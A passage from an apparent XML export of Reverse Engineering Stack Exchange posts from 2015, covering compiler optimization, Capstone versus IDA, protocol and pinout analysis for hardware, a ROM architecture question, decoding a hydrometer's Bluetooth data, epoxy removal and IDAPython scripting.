compiler optimizations that allow passing result without routine call? Or it is a debuggers (IDA, OllyDBG) calculating? It looks like the result of f() was calculated when project was built.&lt;/p&gt;&#xA;" OwnerUserId="14167" LastActivityDate="2015-11-17T12:41:28.177" Title="Callee's return precalculations" Tags="|binary-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11339" PostTypeId="1" AcceptedAnswerId="11340" CreationDate="2015-11-17T08:47:29.120" Score="4" ViewCount="1800" Body="&lt;p&gt;I was wondering if there are any limitations of capstone's disassembling capabilities when compared to IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, are those limitations inherent, i.e. a result of the different design/techniques that capstone and ida use? Or are they rather due to &quot;not yet implemented&quot; features, e.g. capstone's fewer supported CPUs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are inherent limitations, could you give an example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am talking about the disassembling only, i.e., I am not interested in things like available APIs, commercial support, license models, plug-in systems, debugging support etc. Just the pure disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Capstone is mentioned as one answer to the post &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1817/is-there-any-disassembler-to-rival-ida-pro&quot;&gt;&quot;Is there any disassembler to rival IDA Pro?&quot;&lt;/a&gt;, but it seems to be a copied/pasted text from the capstone website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: The working of IDA is explained/discussed &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2347/what-is-the-algorithm-used-in-recursive-traversal-disassembly&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-11-17T09:24:42.147" Title="Limitations of capstone's disassembly capabilities compared to IDA" Tags="|ida|disassembly|disassemblers|capstone|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11340" PostTypeId="2" ParentId="11339" CreationDate="2015-11-17T09:24:42.147" Score="4" Body="&lt;p&gt;There is no point in comparing between the two. IDA is more than a disassembler, it is a reversing tool which implements(or could be implemented via plugins) almost every feature you can think of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Capstone on the other hand, is a simple disassembler engine. It by alone cannot generate the same quality of output as IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, IDA has cross-referencing capability. Cross-refs are generated by a dedicated analysis engine which uses input from the disassembly engine. A disassembly engine, &lt;em&gt;by its own&lt;/em&gt; can neither find cross-refs, nor can it recursively disassemble like IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are comparing a disassembly framework to a tool with a myriad of features. They are not comparable with each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are talking about just the textual disassembler output, then there is not much of a difference per se.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-11-17T09:24:42.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11343" PostTypeId="2" ParentId="11338" CreationDate="2015-11-17T10:54:21.830" Score="1" Body="&lt;p&gt;Many compilers have magic incantations for explicitly suppressing the inlining of certain functions, like &lt;code&gt;__declspec(noinline)&lt;/code&gt;. An alternative is introducing something that the optimizer is not allowed to 'see through', like a (volatile) function pointer or an external DLL function. A vararg function can sometimes be used with similar effect (i.e. pretend to use the result of some computation in order to force the compiler to actually perform it).&lt;/p&gt;&#xA;&lt;p&gt;The convention underlying all this is the 'as if' rule in the C/C++ standards. The compiler must ensure that the observable behaviour of the resulting binary follows the defined semantics; how these results are arrived at is completely up to the compiler.&lt;/p&gt;&#xA;&lt;p&gt;In connection with a good optimising compiler this makes the source code of a program a logical specification (or contract) of what the programmer expects to happen, and the physical realisation is fully up to the compiler. This is a good thing, and long overdue.&lt;/p&gt;&#xA;&lt;p&gt;Contrast this to glorified macro assemblers like Turbo Pascal and older Delphis, where you know exactly which machine code fragment/template will get emitted for which source code construct (barring a small handful of tricks from the Dragon Book, like dead store elimination).&lt;/p&gt;&#xA;&lt;p&gt;Here are a few relevant verses from Scripture (ISO/IEC 14882:2003 alias C++03):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The semantic descriptions in this International Standard define a parameterized nondeterministic abstract machine. This International Standard places no requirement on the structure of conforming implementations. In particular, they need not copy or emulate the structure of the abstract machine. Rather, conforming implementations are required to emulate (only) the &lt;strong&gt;observable behavior&lt;/strong&gt; of the abstract machine as explained below.&lt;/p&gt;&#xA;&lt;p&gt;A conforming implementation executing a well-formed program shall produce the same observable behavior as one of the possible execution sequences of the corresponding instance of the abstract machine with the same program and the same input. However, if any such execution sequence contains an undefined&#xA;operation, this International Standard places no requirement on the implementation executing that program with that input (not even with regard to operations preceding the first undefined operation).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;(IOW, if you invoke undefined behaviour then all bets are off and the compiler may do whatever it pleases - including, but not limited to, crashing your computer or selling your wife on Ebay. Modern compilers tend to rely &lt;strong&gt;heavily&lt;/strong&gt; on this clause.)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The observable behavior of the abstract machine is its sequence of reads and writes to volatile data and calls to library I/O functions.&lt;/p&gt;&#xA;&lt;p&gt;The least requirements on a conforming implementation are:&lt;/p&gt;&#xA;&lt;p&gt;— At sequence points, volatile objects are stable in the sense that previous evaluations are complete and subsequent evaluations have not yet occurred.&lt;/p&gt;&#xA;&lt;p&gt;— At program termination, all data written into files shall be identical to one of the possible results that execution of the program according to the abstract semantics would have produced.&lt;/p&gt;&#xA;&lt;p&gt;— The input and output dynamics of interactive devices shall take place in such a fashion that prompting messages actually appear prior to a program waiting for input. What constitutes an interactive device is&#xA;implementation-defined.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-11-17T12:41:28.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11344" PostTypeId="2" ParentId="10860" CreationDate="2015-11-17T14:46:35.210" Score="1" Body="&lt;p&gt;Others have provided clues about this particular protocol, so I'll just address the general mechanism of decoding a protocol.  You have specified &quot;wire&quot; but this generic method can and has been applied to protocols over fiber and RF as well.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Formulate a plan for investigation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The best start is often not mentioned, but is quite important in practice.  That step is to formulate a plan.  What do you want to know about the protocol?  What do you intend to do with the knowledge?  What you know could include, as with your case, the name of the protocol and its purpose.  It might also be any clues you can glean or infer.  For example, you know that it's low latency audio with multiple channels.  Do you have equipment that you can control and observe, or are you just passively listening?  Are there  regulatory agencies or standards bodies which might have documentation on the protocol?  Have you looked for patents or patent applications?  Are there protocols with similar purpose that you can read about?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Investigate the signal visually&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The human eye and brain are remarkably good at pattern recognition, so a useful first step is to convert the signal of interest to a visual representation.  For a wired 2-wire connection, I would usually start by using a simple multimeter across the line.  That gives some rough indication of what voltages might be present.  That's important for both personal safety and the safety of any other equipment you might attach.  In this case, since it's over Ethernet cabling, and given the purpose, it's likely to be compatible with Ethernet voltages, and possibly using Ethernet voltages +/- 2.5V.  So the next step I'd use would be to attach an oscilloscope.  The simplest and most typical 'scope setup is simply a graph of voltage over time.  This can give a lot of insight.  For instance, are there discrete voltage levels used?  If so, how many (2, 4, more?)?  Does the signal appear to be packetized or is it more or less continuous?  What is the shortest duration between changes in the signal?  More advanced 'scopes have other useful functions, such as spectrum analysis and/or FFT and time and voltage measurement.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Attempt to modify the signal in known ways&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have equipment that you can control, try changing just one thing to see how it affects the output signal.  For example, try sending a 1kHz sine wave audio signal over a single channel.  Now send the same signal over 2 channels.  Try changing the audio frequency.  Try changing the audio amplitude.  All of these can lead you to some insight about the protocol.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;See if you can capture the signal in digital form&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you can faithfully digitize the signal and store it as a file in your computer, then you have many many more resources available to you for investigation.  You can do the spectrum analysis on your computer.  You can try out theories about modulation type, channelization, and so forth all on the computer by using off-the-shelf or your own custom software.  This is the fun part for most of us!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Test your theory&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you think you have figured out the protocol and if you have either equipment you can control or at least more samples you can observe, then test your theory with that data.  See if your computer implementation of the protocol matches what you observe.  Ideally, you'd also be able to build your own interface and pretend to be one end or the other of the protocol.  In the case of audio gear, you're not likely to hurt anything if you're not quite correct.  Other realms (such as vehicle engine controls) may very well require much more caution.  See if you can test corner cases and error conditions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Share your results&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you can, and if it's responsible to do so, consider sharing your results.  Chances are that somebody out there somewhere also has the same interest.  By sharing notes, you'll both make more progress than if either works in isolation.  Many's the time that I've had great luck finding even a half-baked partial implementation on github or sourceforge or the like, saving me a ton of time.  I try to share what I've found, too, in the same spirit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck, and have fun!&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2015-11-17T14:46:35.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11346" PostTypeId="2" ParentId="11335" CreationDate="2015-11-17T15:35:02.017" Score="4" Body="&lt;p&gt;Unless you don't mind destroying a few Raspberry Pi boards, I'd strongly advise &lt;strong&gt;against&lt;/strong&gt; just hooking this up to Pi GPIO pins!  This kind of connector is common, but the pinout is unlikely to be standardized.  You're going to have to do some investigation to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the approach I'd use.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Trace the pins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This circuit board is not to large but it looks rather dense, so it might be a 4-layer board.  To the extent that you are able, examine the traces leading up to the connector and see if you can follow them backward to something you can identify.  For example, it's likely that at least two of the pins are to supply power to the other (front panel) circuit board.  You can also, probably more easily, trace things back from the front panel circuit board and figure out their function. For example, tracing back from the speaker might get you back to an audio amplifier and the input of that to digital-to-analog converter and the input of that to a connect.  That would tell you a lot about both the function and signalling characteristics of some of the pins.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Identify the major components&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I can't quite make out the part number of the IC labelled U12, but it could be a small microcontroller that serves as the brains for this thing.  Identifying the parts by looking up the numbers can give you some clues as to what the entire circuit might be doing.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Look at the signals with a voltmeter and/or oscilloscope&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'd recommend using a voltmeter first to check any signals with the top board disconnected.  That will quickly tell you what voltages are present (e.g. +3.3V, +5V, +12V, +24V, etc.) and also may give you some clue as which ones are driven by the bottom board.  Take careful notes on what you observe on each pin.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Make an &quot;extension&quot; cable&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Buy the parts to make a small jumper cable between the boards.  You'll want to keep it short so that impedences on the lines don't interfere with the operation of the intercom.  You can also install a connector in the middle to allow you to grab any particular pin conveniently with a minigrabber.  Something like this: &lt;a href=&quot;https://i.stack.imgur.com/zcOvr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zcOvr.jpg&quot; alt=&quot;ribbon cable with three connectors&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can explore the signals (again with voltmeter and oscilloscope) while the circuit is working.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Build a safe interface board&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's likely that there will need to be some level conversion between this circuit and a Raspberry Pi.  Even if there weren't, it's probably a good idea to build some isolation into the interface circuit so that you don't let the &lt;em&gt;magic smoke&lt;/em&gt; out of either the intercom or the Pi.  You might be able to start by just intercepting a few pins for functions of particular interest and you can then test with software to see if your understanding of the protocol(s) and pin functions are correct.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2015-11-17T15:35:02.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11347" PostTypeId="1" AcceptedAnswerId="11374" CreationDate="2015-11-17T22:39:54.517" Score="1" ViewCount="307" Body="&lt;p&gt;I dumped a ROM recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to disassembled the machine code* for many architectures, but I always got assembly which, at best, looked like garbage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I can perfectly read the strings the the ROM dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I have no proof this is really machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the beginning of the two write-protected sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    [000000] 00 40 02 0d 16 ef c3 60 01 d3 92 00 22 02 0d db  .@.....`....&quot;...&#xA;    [000010] 8f 96 22 00 00 02 0e b1 90 3e 57 12 08 91 e4 ff  ..&quot;......&amp;gt;W.....&#xA;    [000020] fe fd fc 90 3e 5b 12 08 91 c0 96 75 96 03 e4 ff  ....&amp;gt;[.....u....&#xA;    [000030] 7e c0 fd fc 90 3e 57 12 08 27 c3 12 07 84 50 03  ~....&amp;gt;W..'....P.&#xA;    [000040] 02 00 a1 e4 fc fd fe 90 40 00 e4 f8 f9 fa e4 93  ........@.......&#xA;    [000050] 28 f8 e4 39 f9 a3 da f6 e8 2c fc e9 3d fd e4 3e  (..9.....,..=..&amp;gt;&#xA;    [000060] fe e5 83 70 e5 90 3e 5e e0 2c f0 90 3e 5d e0 3d  ...p..&amp;gt;^.,..&amp;gt;].=&#xA;    [000070] f0 90 3e 5c e0 3e f0 90 3e 5b e0 34 00 f0 e5 96  ..&amp;gt;\.&amp;gt;..&amp;gt;[.4....&#xA;    [000080] 04 f5 96 90 3e 57 12 08 0b c3 ef 94 00 ff ee 94  ....&amp;gt;W..........&#xA;    [000090] c0 fe ed 94 00 fd ec 94 00 fc 90 3e 57 12 08 91  ...........&amp;gt;W...&#xA;    [0000a0] 02 00 2c 90 3e 59 e0 f9 a3 e0 f8 90 3e 5b e0 ff  ..,.&amp;gt;Y......&amp;gt;[..&#xA;    [0000b0] a3 e0 fe a3 e0 fd a3 e0 fc 90 40 00 e8 49 60 15  ..........@..I`.&#xA;    [0000c0] 18 b8 ff 01 19 e4 93 2c fc e4 3d fd e4 3e fe e4  .......,..=..&amp;gt;..&#xA;    [0000d0] 3f ff a3 80 e7 90 3e 5b ef f0 a3 ee f0 a3 ed f0  ?.....&amp;gt;[........&#xA;    [0000e0] a3 ec f0 d0 96 90 3e 5b 12 08 0b 22 10 11 0b 12  ......&amp;gt;[...&quot;....&#xA;    [0000f0] 0f 04 bf 0d 02 7f 0a 02 01 69 90 49 da e0 ff 22  ........i.I...&quot;&#xA;&#xA;    [040000] 90 3c db 12 24 2d 90 3c df 12 24 7c e4 7f 01 fe  .&amp;lt;..$-.&amp;lt;..$|...&#xA;    [040010] fd fc 12 23 9c e4 ff fe fd fc 90 3c db 12 23 d3  ...#.......&amp;lt;..#.&#xA;    [040020] d3 12 23 40 40 3f 90 3c df 12 24 45 c0 03 c0 02  ..#@@?.&amp;lt;..$E....&#xA;    [040030] c0 01 12 23 77 e4 7b 02 fa f9 f8 12 21 cb d0 01  ...#w.{.....!...&#xA;    [040040] d0 02 d0 03 12 23 9c 90 3c db 12 23 c7 ef 24 ff  .....#..&amp;lt;..#..$.&#xA;    [040050] ff ee 34 ff fe ed 34 ff fd ec 34 ff fc 90 3c db  ..4...4...4...&amp;lt;.&#xA;    [040060] 12 24 2d 80 b0 22 ef f4 60 05 7e 09 7f 01 22 90  .$-..&quot;..`.~..&quot;.&#xA;    [040070] 37 55 e0 fd c3 94 80 40 05 7e 09 7f 03 22 af 05  7U.....@.~..&quot;..&#xA;    [040080] e4 fc fd fe 12 17 51 ef 4e 60 01 22 e4 fe ff 22  ......Q.N`.&quot;...&quot;&#xA;    [040090] 90 37 6d ef f0 c3 94 02 40 05 7e 09 7f 01 22 e4  .7m.....@.~..&quot;.&#xA;    [0400a0] 7f ff fe fd fc 90 37 6e 12 23 d3 d3 12 23 40 40  .....7n.#...#@@&#xA;    [0400b0] 02 80 61 90 37 6d e0 25 e0 25 e0 ff 74 0f 7e 00  ..a.7m.%.%..t.~.&#xA;    [0400c0] a8 07 08 80 05 c3 33 ce 33 ce d8 f9 ff ee 33 95  ......3.3.....3.&#xA;    [0400d0] e0 fd fc 90 37 6e 12 23 d3 12 22 f5 c0 04 c0 05  ....7n.#..&quot;.....&#xA;    [0400e0] c0 06 c0 07 90 37 6d e0 25 e0 25 e0 ff 74 0f 7e  .....7m.%.%..t.~&#xA;    [0400f0] 00 a8 07 08 80 05 c3 33 ce 33 ce d8 f9 fb aa 06  .......3.3......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you identify which architecture/endianess I should give to the disassembler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks;&lt;/p&gt;&#xA;" OwnerUserId="14176" LastEditorUserId="14176" LastEditDate="2015-11-17T22:54:01.413" LastActivityDate="2015-11-21T15:21:43.163" Title="Which architecture is this machine code?" Tags="|disassembly|assembly|machine-code|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11348" PostTypeId="1" CreationDate="2015-11-17T22:53:10.923" Score="5" ViewCount="649" Body="&lt;p&gt;This is a very specific question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently working on a project to create an android application capable of reading the values of an &lt;a href=&quot;http://www.process-controls.com/metex-corporation/metex_pdf/hydrometer_pdf/BluetoothReceiver868_Datasheet_Eng.pdf&quot; rel=&quot;nofollow&quot;&gt;hydrometer&lt;/a&gt; via Bluetooth. By reading the datasheet, I suspect the hydrometer uses a serial communication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I connected my laptop with the help of a &lt;a href=&quot;https://apps.ubuntu.com/cat/applications/precise/blueman/&quot; rel=&quot;nofollow&quot;&gt;Bluetooth manager&lt;/a&gt; and tried to communicate with it with a &lt;a href=&quot;http://cutecom.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;serial terminal&lt;/a&gt;. Through trial and error I've managed to receive some information when sending the character &quot;0x44&quot; in hexadecimal. Alas what I receive isn't human readable, here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\0x11\0x1a\0x19D0L\0xda\0xae\0x9b \0xcc\0x01\0xa2q\0x13\0x00\0x13p:\0xcb(\0x8a\0x0c\0xf6\0xeb`#\0xbdv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've then used &lt;a href=&quot;https://github.com/don/BluetoothSerial#write&quot; rel=&quot;nofollow&quot;&gt;BluetoothSerial&lt;/a&gt; a phonegap plugin for serial communication over Bluetooth, and built a small test application for android, and by sending the same character (0x44), I received a string of strange characters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D0Lڮ� ���A��p���wn��&#xA;��� )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this 2 experiments I'm lead to believe the information could be encoded or encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the &lt;a href=&quot;http://www.diehl.com/fileadmin/diehl-metering/dlc/Water/HYDRUS_CommunicationDescription_EN.pdf&quot; rel=&quot;nofollow&quot;&gt;PDF&lt;/a&gt; of a different hydrometer of the same company I've sent the following (in hex):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10 7B FD 78 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And what I got was the following, in hexadecimal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11 1a 19 44 30 4c da ae 9b 20 cc 01 a2 31 13 00 13 70 66 76 0e 26 8b b9 8c 0c 47 b7 3c 09 0b 00 74 0f 00 00 ca 09&#xA;11 1a 19 44 30 4c da ae 9b 20 cc 01 a2 41 13 00 13 70 03 ba f2 77 6e 82 81 0d 08 ba c8 09 0b 00 7a 1f 00 00 6c 0a&#xA;11 1a 19 44 30 4c da ae 9b 20 cc 01 a2 51 13 00 13 70 14 95 bb dc 4f 51 58 d6 11 b8 49 0a 03 00 6a 2f 00 00 e5 0a&#xA;11 1a 19 44 30 4c da ae 9b 20 cc 01 a2 01 13 00 13 70 5f 07 d4 db e9 cd e6 61 6c b0 50 0b 0b 00 57 60 00 00 12 0c&#xA;11 1a 19 44 30 4c da ae 9b 20 cc 01 a2 11 13 00 13 70 48 28 9d 70 c8 1e 3f ba 75 b2 b5 09 0a 00 de 71 00 00 0e 0b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just by reading the appendix 2 of the &lt;a href=&quot;http://www.diehl.com/fileadmin/diehl-metering/dlc/Water/HYDRUS_CommunicationDescription_EN.pdf&quot; rel=&quot;nofollow&quot;&gt;PDF&lt;/a&gt; and the &lt;a href=&quot;http://www.m-bus.com/files/MBDOC48.PDF&quot; rel=&quot;nofollow&quot;&gt;M-BUS PDF&lt;/a&gt; I can't make any meaning out of this response. I know that when using an &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.nogema.radiodatasource&quot; rel=&quot;nofollow&quot;&gt;already existing android app&lt;/a&gt; for this device I get the following information for the device it finds, example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;C10SA202842&lt;/li&gt;&#xA;&lt;li&gt;current: 500 m3&lt;/li&gt;&#xA;&lt;li&gt;stored: 500 m3&lt;/li&gt;&#xA;&lt;li&gt;date: 23/11/15/15 20:14&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've also got the following response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11 1a 19 44 30 4c 07 f3 d7 20 98 01 a2 31 1c 00 13 9f 8d ba 81 19 d6 e2 a3 ad f0 53 30 0b 0e 00 a2 0c 00 00 ec 0b&#xA;11 1a 19 44 30 4c 07 f3 d7 20 98 01 a2 41 1c 00 13 9f e8 76 7d 48 33 d9 ae ac bf 5e ba 0a 0d 00 55 1d 00 00 39 0b&#xA;11 1a 19 44 30 4c 07 f3 d7 20 98 01 a2 51 1c 00 13 9f ff 59 34 e3 12 0a 77 77 a6 5c 9f 09 0d 00 e2 2c 00 00 ba 0a&#xA;11 1a 19 44 30 4c 07 f3 d7 20 98 01 a2 61 1c 00 13 9f c6 28 ee 1e 70 7e 1d 1a 8d 5b 3b 09 10 00 df 3d 00 00 67 0a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a different water measuring unit it detected. The android app got the following result in readable format at the same date and (more or less) time:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;C14FA152455&lt;/li&gt;&#xA;&lt;li&gt;current: 0.027 m3&lt;/li&gt;&#xA;&lt;li&gt;stored: 0.027 m3&lt;/li&gt;&#xA;&lt;li&gt;date: 23/11/15/15 18:32&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How could I find a proper way of decoding that information in readable format, if what I received is indeed what I expected?&lt;/p&gt;&#xA;" OwnerUserId="14178" OwnerDisplayName="Rui Lima" LastEditorUserId="14178" LastEditDate="2015-11-23T22:40:46.327" LastActivityDate="2015-11-24T08:37:21.483" Title="Reverse engineering an hydrometer's Bluetooth communication" Tags="|android|encryption|serial-communication|encodings|protocol|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11349" PostTypeId="2" ParentId="11324" CreationDate="2015-11-18T06:08:48.573" Score="1" Body="&lt;p&gt;In my experience a heat gun works really well on most epoxies making them soft or brittle and easy to remove where the epoxy used to be rock solid when trying to scrape it away with a knife or similar. Out of the ~10 different ones I've seen there's only 1 that actually became stronger/harder by heating. Unfortunately I don't know what it is or how to remove it, but that one has a whitish color and turns pink when heated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are allot of white color epoxies. Some turn brown, black or dark purple and still come of fine. It's best to just try in a corner and see the effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also wouldn't worry too much about damaging the chip because on a rework station most chips require &gt; 180 degrees C before you can take the chips off the PCB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-update-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above might spark the idea to freeze an epoxy using freeze-spray or similar. In my experience this never helped so I wouldn't bet on it.&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2015-11-19T06:04:46.530" LastActivityDate="2015-11-19T06:04:46.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11350" PostTypeId="1" AcceptedAnswerId="11351" CreationDate="2015-11-18T09:25:07.270" Score="3" ViewCount="1347" Body="&lt;p&gt;Maybe someone could help me with the following problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an interesting byte sequence that I found within a MIPS ELF binary that exists on the hard drive. This byte sequence may be, for example, &lt;code&gt;9c 6c 3c 04 80 2d 24 84 85&lt;/code&gt;. Now I want to find this byte sequence with IDAPython. Therefore, I use the &lt;code&gt;idc.FindBinary()&lt;/code&gt; function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;address = idc.FindBinary(0, SEARCH_DOWN, byte_sequence)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which finds the first occurrence of the byte sequence at &lt;code&gt;address&lt;/code&gt;. In general I want to achieve two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I want to colorize the effected affected lines in the IDA View&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I want to get the disassembled instructions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Currently there are two subproblems I want to solve:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The byte sequence may start &lt;strong&gt;within&lt;/strong&gt; the instruction, for example, in a &lt;code&gt;jal address&lt;/code&gt; the byte sequence starts at &lt;code&gt;address&lt;/code&gt; instead of at &lt;code&gt;jal&lt;/code&gt;. &lt;strong&gt;How can I search backwards to find the beginning of the instruction when the byte sequence started within the instruction?&lt;/strong&gt; Colorizing works with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SetColor(address, CIC_ITEM, 0x208020)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the byte sequence is 9 bytes long (as in the example above), &lt;strong&gt;how can I tell IDAPython to disassemble all 9 bytes&lt;/strong&gt;. I would have to know how &quot;long&quot; the instructions are that IDAPython disassembles to get to the next instruction. What I know is that I can disassemble at a single addresses with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;disasm = idc.GetDisasm(address)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="8669" LastActivityDate="2015-11-18T11:33:51.460" Title="Colorize and disassemble byte sequences with IDA Pro and IDAPython" Tags="|ida|disassembly|idapython|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11351" PostTypeId="2" ParentId="11350" CreationDate="2015-11-18T11:33:51.460" Score="3" Body="&lt;p&gt;You can easily do that using Sark:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Get all the lines relevant to your bytes&#xA;for line in sark.lines(start=address, end=address + len(byte_sequence)):&#xA;    # For each line, color it, and print the disasm and the instruction length&#xA;    line.color = 0x123456&#xA;    print 'Line Size: {}\nLine Disasm: {}'.format(line.size, line.disasm)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might need to add handling for cases where there is no disassembly (the bytes are data-bytes and not code).&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-11-18T11:33:51.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
